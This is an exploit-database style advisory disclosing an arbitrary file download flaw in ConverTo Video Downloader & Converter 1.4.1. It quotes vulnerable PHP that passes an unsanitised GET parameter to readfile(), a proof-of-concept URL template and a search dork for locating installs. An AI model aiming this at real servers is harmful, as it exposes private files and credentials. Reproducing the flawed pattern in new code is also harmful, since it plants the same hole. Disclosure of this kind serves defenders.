ConverTo Video Downloader & Converter 1.4.1 - Arbitrary File Download Vulnerability

2018.03.01
dz indoushka (DZ) dz
Risk: Medium
Local: No
Remote: Yes
CVE: N/A
CWE: N/A

==================================================================================================================================== | # Title : ConverTo Video Downloader & Converter 1.4.1 - Arbitrary File Download Vulnerability | | # Author : indoushka | | # email : indoushka4ever@gmail.com | | # Tested on : windows 10 Français V.(Pro) | | # Version : 1.4.1 | | # Vendor : https://codecanyon.net/item/converto-video-downloader-converter/13225966 | | # Dork : http://vd.googglet.com/ | ==================================================================================================================================== poc : Aug 25, 2017 – Update 1.4.1 download.php line 12 readfile ($file); & line 5 $file = urldecode($_GET['f']); <?php if(isset($_GET['f'])){ $siz = convertToBytes($_GET['sz']); $file = urldecode($_GET['f']); $rand = rand(0,5000); header("Content-Description: File Transfer"); header("Content-Type: application/octet-stream"); header('Content-Length: ' . $siz); header("Content-Disposition: attachment; filename=Facebook_video_$rand.mp4"); ob_clean(); flush(); readfile ($file); } http://localhost/[PATH]/download.php?f= Ev!l Greetz :---------------------------------------------------------------------------------------- | jericho * Larry W. Cashdollar * shadow0075 * djroot.dz *Gjoko 'LiquidWorm' Krstic | | ================================================================================================


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